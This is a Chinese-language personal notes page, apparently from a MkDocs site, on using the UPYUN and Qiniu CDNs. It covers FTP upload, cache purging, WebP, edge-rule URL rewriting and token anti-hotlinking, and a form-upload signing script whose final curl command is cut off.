Java\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../S2-045/\" class=\"md-nav__link\">\n        S2-045\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../JavaScript/\" class=\"md-nav__link\">\n        JavaScript\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PHP/\" class=\"md-nav__link\">\n        PHP\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n    \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--active md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4\" checked>\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4\" id=\"__nav_4_label\" tabindex=\"0\">\n          Web\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_4_label\" aria-expanded=\"true\">\n        <label class=\"md-nav__title\" for=\"__nav_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Web\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n    \n  \n  \n    <li class=\"md-nav__item md-nav__item--active\">\n      \n      <input class=\"md-nav__toggle md-toggle\" type=\"checkbox\" id=\"__toc\">\n      \n      \n        \n      \n      \n        <label class=\"md-nav__link md-nav__link--active\" for=\"__toc\">\n          CDN\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <a href=\"./\" class=\"md-nav__link md-nav__link--active\">\n        CDN\n      </a>\n      \n        \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n    \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#upyun\" class=\"md-nav__link\">\n    UPYUN\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"UPYUN\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_1\" class=\"md-nav__link\">\n    上传文件的方法\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"上传文件的方法\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#ftp\" class=\"md-nav__link\">\n    FTP\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#curlftpfs\" class=\"md-nav__link\">\n    curlftpfs\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#upyunmanager\" class=\"md-nav__link\">\n    UpyunManager\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#upyun-python\" class=\"md-nav__link\">\n    UPYUN Python执行缓存刷新\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#upyunwebp\" class=\"md-nav__link\">\n    使用upyun提供的webp功能节省流量\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#404\" class=\"md-nav__link\">\n    使用边缘规则修复改版导致的404问题\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#upyun-upyun-token\" class=\"md-nav__link\">\n    UPYUN 使用边缘规则实现upyun TOKEN反盗链功能\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#upyun-https\" class=\"md-nav__link\">\n    UPYUN https证书更新\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#upyun_1\" class=\"md-nav__link\">\n    UPYUN 表单上传怎么用\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#upyun61\" class=\"md-nav__link\">\n    UPYUN省钱方案：缓存61秒 变为静态请求\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#qiniu\" class=\"md-nav__link\">\n    Qiniu\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"Qiniu\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#qshell\" class=\"md-nav__link\">\n    使用qshell上传文件夹\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#dnshttp-dnscdn\" class=\"md-nav__link\">\n    本地DNS不靠谱？用HTTP DNS访问正确的CDN节点\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"本地DNS不靠谱？用HTTP DNS访问正确的CDN节点\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#http-dns\" class=\"md-nav__link\">\n    HTTP DNS接入\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_2\" class=\"md-nav__link\">\n    泛域名解析\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#https\" class=\"md-nav__link\">\n    申请泛域名的https证书\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#cdn_1\" class=\"md-nav__link\">\n    配置CDN\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#js\" class=\"md-nav__link\">\n    前端JS\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n      \n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../cURL/\" class=\"md-nav__link\">\n        cURL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4_3\" id=\"__nav_4_3_label\" tabindex=\"0\">\n          Favorites\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_4_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Favorites\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Favorites/\" class=\"md-nav__link\">\n        Favorites\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../GithubProjectRecommendation/\" class=\"md-nav__link\">\n        Github Project Recommendation\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Links/\" class=\"md-nav__link\">\n        更多链接\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Flask/\" class=\"md-nav__link\">\n        Flask\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../MySQL/\" class=\"md-nav__link\">\n        MySQL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Nginx/\" class=\"md-nav__link\">\n        Nginx\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../RabbitMQ/\" class=\"md-nav__link\">\n        RabbitMQ\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_5\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_5\" id=\"__nav_5_label\" tabindex=\"0\">\n          Development\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_5_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_5\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Development\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Developer/\" class=\"md-nav__link\">\n        Developer\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Docker/\" class=\"md-nav__link\">\n        Docker\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ETH/\" class=\"md-nav__link\">\n        ETH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Git/\" class=\"md-nav__link\">\n        Git\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Jekyll/\" class=\"md-nav__link\">\n        Jekyll\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PaperReading/\" class=\"md-nav__link\">\n        Paper Reading\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../WindowsSoftware/\" class=\"md-nav__link\">\n        WindowsSoftware\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_6\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_6\" id=\"__nav_6_label\" tabindex=\"0\">\n          Fuzzing\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_6_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_6\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fuzzing\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../dfsan/\" class=\"md-nav__link\">\n        DFSan\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_7\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_7\" id=\"__nav_7_label\" tabindex=\"0\">\n          Fun\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_7_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_7\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fun\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Bitcoin/\" class=\"md-nav__link\">\n        Bitcoin\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_8\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_8\" id=\"__nav_8_label\" tabindex=\"0\">\n          Linux\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_8_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_8\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Linux\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-backup/\" class=\"md-nav__link\">\n        Linux-backup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-setup/\" class=\"md-nav__link\">\n        Linux-setup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-SSH/\" class=\"md-nav__link\">\n        Linux-SSH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-cli/\" class=\"md-nav__link\">\n        Linux-cli\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-VirtualBox/\" class=\"md-nav__link\">\n        Linux-VirtualBox\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Ubuntu/\" class=\"md-nav__link\">\n        Ubuntu\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_9\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_9\" id=\"__nav_9_label\" tabindex=\"0\">\n          My Projects\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_9_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_9\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          My Projects\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../zjugrshelper/\" class=\"md-nav__link\">\n        ZJU grs helper\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ccfbadge/\" class=\"md-nav__link\">\n        CCF Badge\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n  </ul>\n</nav>\n                  </div>\n                </div>\n              </div>\n            \n            \n              \n              <div class=\"md-sidebar md-sidebar--secondary\" data-md-component=\"sidebar\" data-md-type=\"toc\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n    \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#upyun\" class=\"md-nav__link\">\n    UPYUN\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"UPYUN\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_1\" class=\"md-nav__link\">\n    上传文件的方法\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"上传文件的方法\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#ftp\" class=\"md-nav__link\">\n    FTP\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#curlftpfs\" class=\"md-nav__link\">\n    curlftpfs\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#upyunmanager\" class=\"md-nav__link\">\n    UpyunManager\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#upyun-python\" class=\"md-nav__link\">\n    UPYUN Python执行缓存刷新\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#upyunwebp\" class=\"md-nav__link\">\n    使用upyun提供的webp功能节省流量\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#404\" class=\"md-nav__link\">\n    使用边缘规则修复改版导致的404问题\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#upyun-upyun-token\" class=\"md-nav__link\">\n    UPYUN 使用边缘规则实现upyun TOKEN反盗链功能\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#upyun-https\" class=\"md-nav__link\">\n    UPYUN https证书更新\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#upyun_1\" class=\"md-nav__link\">\n    UPYUN 表单上传怎么用\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#upyun61\" class=\"md-nav__link\">\n    UPYUN省钱方案：缓存61秒 变为静态请求\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#qiniu\" class=\"md-nav__link\">\n    Qiniu\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"Qiniu\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#qshell\" class=\"md-nav__link\">\n    使用qshell上传文件夹\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#dnshttp-dnscdn\" class=\"md-nav__link\">\n    本地DNS不靠谱？用HTTP DNS访问正确的CDN节点\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"本地DNS不靠谱？用HTTP DNS访问正确的CDN节点\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#http-dns\" class=\"md-nav__link\">\n    HTTP DNS接入\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_2\" class=\"md-nav__link\">\n    泛域名解析\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#https\" class=\"md-nav__link\">\n    申请泛域名的https证书\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#cdn_1\" class=\"md-nav__link\">\n    配置CDN\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#js\" class=\"md-nav__link\">\n    前端JS\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n                  </div>\n                </div>\n              </div>\n            \n          \n          \n            <div class=\"md-content\" data-md-component=\"content\">\n              <article class=\"md-content__inner md-typeset\">\n                \n                  \n\n  \n  \n\n\n<h1 id=\"cdn\">CDN<a class=\"headerlink\" href=\"#cdn\" title=\"Permanent link\">&para;</a></h1>\n<h2 id=\"upyun\">UPYUN<a class=\"headerlink\" href=\"#upyun\" title=\"Permanent link\">&para;</a></h2>\n<h3 id=\"_1\">上传文件的方法<a class=\"headerlink\" href=\"#_1\" title=\"Permanent link\">&para;</a></h3>\n<h4 id=\"ftp\">FTP<a class=\"headerlink\" href=\"#ftp\" title=\"Permanent link\">&para;</a></h4>\n<p>人家支持用ftp传输文件，而且用ftp似乎不对流量计费</p>\n<p>ftp://v0.ftp.upyun.com </p>\n<p>用户名是&rdquo;操作员名/服务名&rdquo;（其中/字符是用户名的一部分）,密码为&rdquo;操作员密码&rdquo;</p>\n<p>有些时候你需要对其中的/进行urlencode，需要用<code>%2F</code> （你可以使用Python的<code>quote(\"/\", \"\")</code>来查询）</p>\n<h4 id=\"curlftpfs\">curlftpfs<a class=\"headerlink\" href=\"#curlftpfs\" title=\"Permanent link\">&para;</a></h4>\n<p>基于上述的ftp，在这种情境下可靠性不高，不建议使用</p>\n<p>http://curlftpfs.sourceforge.net/</p>\n<p>注意命令中的 ftp://用户名:密码@v0.ftp.upyun.com 其中的用户名的/符号需要改为%2f</p>\n<h4 id=\"upyunmanager\">UpyunManager<a class=\"headerlink\" href=\"#upyunmanager\" title=\"Permanent link\">&para;</a></h4>\n<p>https://github.com/layerssss/manager-for-upyun</p>\n<h3 id=\"upyun-python\">UPYUN Python执行缓存刷新<a class=\"headerlink\" href=\"#upyun-python\" title=\"Permanent link\">&para;</a></h3>\n<p>比如本blog设置了缓存所有html一年来减少回源github的次数，在每次我更新后就刷新一次缓存</p>\n<p>规则刷新：</p>\n<p><a href=\"https://github.com/zjuchenyuan/EasyLogin/tree/master/examples/upyun\">https://github.com/zjuchenyuan/EasyLogin/tree/master/examples/upyun</a></p>\n<p>URL刷新也是同理：</p>\n<p>官方文档：http://docs.upyun.com/api/purge/</p>\n<p><a href=\"../code/upyun_purge.py\">我的代码upyun_purge.py</a></p>\n<p>注意操作员要被授权；调用API正常的返回值就是<code>{'invalid_domain_of_url': {}}</code>，不要看到invalid就以为出错了hhh</p>\n<h3 id=\"upyunwebp\">使用upyun提供的webp功能节省流量<a class=\"headerlink\" href=\"#upyunwebp\" title=\"Permanent link\">&para;</a></h3>\n<p>现在已经有配置，启用后自动根据用户的浏览器Accept自动返回webp，无需任何操作</p>\n<p>之前的方案：无需代码，只需要在原图后面加上<code>!/format/webp</code>即可，假设已经在使用自定义图片格式，例如<code>!compress</code>则变为<code>!compress/format/webp</code>可以进一步节省流量</p>\n<p>官方说明： https://www.upyun.com/webp.html</p>\n<h3 id=\"404\">使用边缘规则修复改版导致的404问题<a class=\"headerlink\" href=\"#404\" title=\"Permanent link\">&para;</a></h3>\n<p>本站原版使用的Jekyll将xxx.md编译为xxx.html，现在改用MkDocs后xxx.md编译得到的是xxx/index.html，原先的链接就404了</p>\n<p>又拍云能配置边缘规则 进行URL改写，用户在访问xxx.html的时候实际回源xxx/</p>\n<p>而且配置挺简单，只要会写正则即可</p>\n<p>配置规则如下：</p>\n<div class=\"codehilite\"><pre><span></span><code>条件判断：<span class=\"w\"> </span>如果请求<span class=\"nv\">URI</span><span class=\"w\"> </span>正则匹配<span class=\"w\"> </span><span class=\"o\">^/</span><span class=\"p\">[</span><span class=\"o\">^/</span><span class=\"p\">]</span><span class=\"o\">*</span><span class=\"nv\">html</span><span class=\"p\">$</span>\n功能选择：<span class=\"w\"> </span><span class=\"nv\">URL改写</span>\n<span class=\"w\">    </span><span class=\"nv\">URI</span><span class=\"w\"> </span>字符串提取：<span class=\"w\"> </span><span class=\"o\">^/</span><span class=\"p\">([</span><span class=\"o\">^/</span><span class=\"p\">]</span><span class=\"o\">*</span><span class=\"p\">)</span><span class=\"o\">.</span><span class=\"nv\">html</span><span class=\"p\">$</span>\n<span class=\"w\">    </span>改写规则：<span class=\"o\">/</span><span class=\"p\">$</span><span class=\"mi\">1</span><span class=\"o\">/</span>\n<span class=\"nv\">break</span><span class=\"o\">:</span><span class=\"w\"> </span>打勾\n</code></pre></div>\n\n<h3 id=\"upyun-upyun-token\">UPYUN 使用边缘规则实现upyun TOKEN反盗链功能<a class=\"headerlink\" href=\"#upyun-upyun-token\" title=\"Permanent link\">&para;</a></h3>\n<p>想只对特定url使用token反盗链，于是就使用边缘规则来实现一下完全兼容反盗链的算法咯</p>\n<p>发现一个坑：又拍云的边缘规则的<code>$SUB</code>函数 其from和to是从1开始计数的，包括from，也包括to</p>\n<p>URI 字符串提取不填，break不选，规则编辑器填以下内容</p>\n<div class=\"codehilite\"><pre><span></span><code>$<span class=\"nv\">WHEN</span><span class=\"ss\">(</span>$<span class=\"nv\">MATCH</span><span class=\"ss\">(</span>$<span class=\"nv\">_URI</span>,<span class=\"w\"> </span><span class=\"s1\">&#39;这里填URI匹配正则&#39;</span><span class=\"ss\">)</span>,$<span class=\"nv\">OR</span><span class=\"ss\">(</span>$<span class=\"nv\">GT</span><span class=\"ss\">(</span>$<span class=\"nv\">_TIME</span>,<span class=\"w\"> </span>$<span class=\"nv\">SUB</span><span class=\"ss\">(</span>$<span class=\"nv\">_GET__upt</span>,<span class=\"w\"> </span><span class=\"mi\">9</span>,<span class=\"mi\">99</span><span class=\"ss\">))</span>,$<span class=\"nv\">NOT</span><span class=\"ss\">(</span>$<span class=\"nv\">_GET__upt</span><span class=\"ss\">)</span>,<span class=\"w\"> </span>$<span class=\"nv\">NOT</span><span class=\"ss\">(</span><span class=\"mh\">$E</span><span class=\"nv\">Q</span><span class=\"ss\">(</span>$<span class=\"nv\">SUB</span><span class=\"ss\">(</span>$<span class=\"nv\">MD5</span><span class=\"ss\">(</span><span class=\"s1\">&#39;这里填TOKEN&#39;&#39;&amp;&#39;</span>$<span class=\"nv\">SUB</span><span class=\"ss\">(</span>$<span class=\"nv\">_GET__upt</span>,<span class=\"w\"> </span><span class=\"mi\">9</span>,<span class=\"mi\">99</span><span class=\"ss\">)</span><span class=\"s1\">&#39;&amp;&#39;</span>$<span class=\"nv\">_URI</span><span class=\"ss\">)</span>,<span class=\"mi\">13</span>,<span class=\"mi\">20</span><span class=\"ss\">)</span>,$<span class=\"nv\">SUB</span><span class=\"ss\">(</span>$<span class=\"nv\">_GET__upt</span>,<span class=\"w\"> </span><span class=\"mi\">1</span>,<span class=\"mi\">8</span><span class=\"ss\">)))))</span><span class=\"mh\">$E</span><span class=\"nv\">XIT</span><span class=\"ss\">(</span><span class=\"mi\">403</span><span class=\"ss\">)</span>\n</code></pre></div>\n\n<h3 id=\"upyun-https\">UPYUN https证书更新<a class=\"headerlink\" href=\"#upyun-https\" title=\"Permanent link\">&para;</a></h3>\n<p>使用F12开发人员工具看的接口，用Python实现了一下，从手动一个个添加证书中解放出来</p>\n<p>https://github.com/zjuchenyuan/EasyLogin/tree/master/examples/upyun/</p>\n<hr />\n<h3 id=\"upyun_1\">UPYUN 表单上传怎么用<a class=\"headerlink\" href=\"#upyun_1\" title=\"Permanent link\">&para;</a></h3>\n<p>在功能配置-存储管理页面可以看到文件密钥，<a href=\"https://help.upyun.com/knowledge-base/form_api/#old-authorization\">官方帮助文档</a>过于分散，这里整理一下必须的步骤</p>\n<p>需求：简单的允许上传一个固定文件名的文件，不要过期</p>\n<p>首先写一个上传策略policy，然后对它base64，和密钥用&amp;拼接后计算md5</p>\n<p>这个脚本将输出变量定义和curl命令，便于复制使用</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nv\">key</span><span class=\"o\">=</span><span class=\"s1\">&#39;AAA...AAA&#39;</span>\n<span class=\"nv\">bucket</span><span class=\"o\">=</span><span class=\"s1\">&#39;demobucket&#39;</span>\n<span class=\"nv\">filename</span><span class=\"o\">=</span><span class=\"s1\">&#39;img.jpg&#39;</span>\n\n<span class=\"nv\">filepath</span><span class=\"o\">=</span><span class=\"s2\">&quot;/</span><span class=\"si\">${</span><span class=\"nv\">filename</span><span class=\"si\">}</span><span class=\"s2\">&quot;</span>\n<span class=\"nv\">policy</span><span class=\"o\">=</span><span class=\"s1\">&#39;{&quot;bucket&quot;:&quot;&#39;</span><span class=\"si\">${</span><span class=\"nv\">bucket</span><span class=\"si\">}</span><span class=\"s1\">&#39;&quot;,&quot;expiration&quot;:9999999999,&quot;save-key&quot;:&quot;&#39;</span><span class=\"si\">${</span><span class=\"nv\">filepath</span><span class=\"si\">}</span><span class=\"s1\">&#39;&quot;}&#39;</span>\n<span class=\"nv\">b64_policy</span><span class=\"o\">=</span><span class=\"sb\">`</span><span class=\"nb\">echo</span><span class=\"w\"> </span>-n<span class=\"w\"> </span><span class=\"nv\">$policy</span><span class=\"p\">|</span>base64<span class=\"w\"> </span>-w0<span class=\"sb\">`</span>\n\n<span class=\"nb\">echo</span><span class=\"w\"> </span><span class=\"nv\">UPYUN_POLICY</span><span class=\"o\">=</span><span class=\"si\">${</span><span class=\"nv\">b64_policy</span><span class=\"si\">}</span>\n<span class=\"nb\">echo</span><span class=\"w\"> </span><span class=\"nv\">UPYUN_SIGN</span><span class=\"o\">=</span><span class=\"k\">$(</span><span class=\"nb\">echo</span><span class=\"w\"> </span>-n<span class=\"w\"> </span><span class=\"s2\">&quot;</span><span class=\"si\">${</span><span class=\"nv\">b64_policy</span><span class=\"si\">}</span><span class=\"s2\">&amp;</span><span class=\"si\">${</span><span class=\"nv\">key</span><span class=\"si\">}</span><span class=\"s2\">&quot;</span><span class=\"p\">|</span>md5sum<span class=\"p\">|</span>awk<span class=\"w\"> </span><span class=\"s1\">&#39;{print $1}&#39;</span><span class=\"k\">)</span>\n<span class=\"nb\">echo</span><span class=\"w\"> </span><span class=\"s2\">&quot;curl https://v0.api.upyun.com/</span><span class=\"si\">${</span><span class=\"nv\">bucket</span><span class=\"si\">}</span><span class=\"s2\"> -F file=@</span><span class=\"si\">${</span><span class=\"nv\">filename</span><span class=\"si\">}</span><span class=\"s2\"> -F 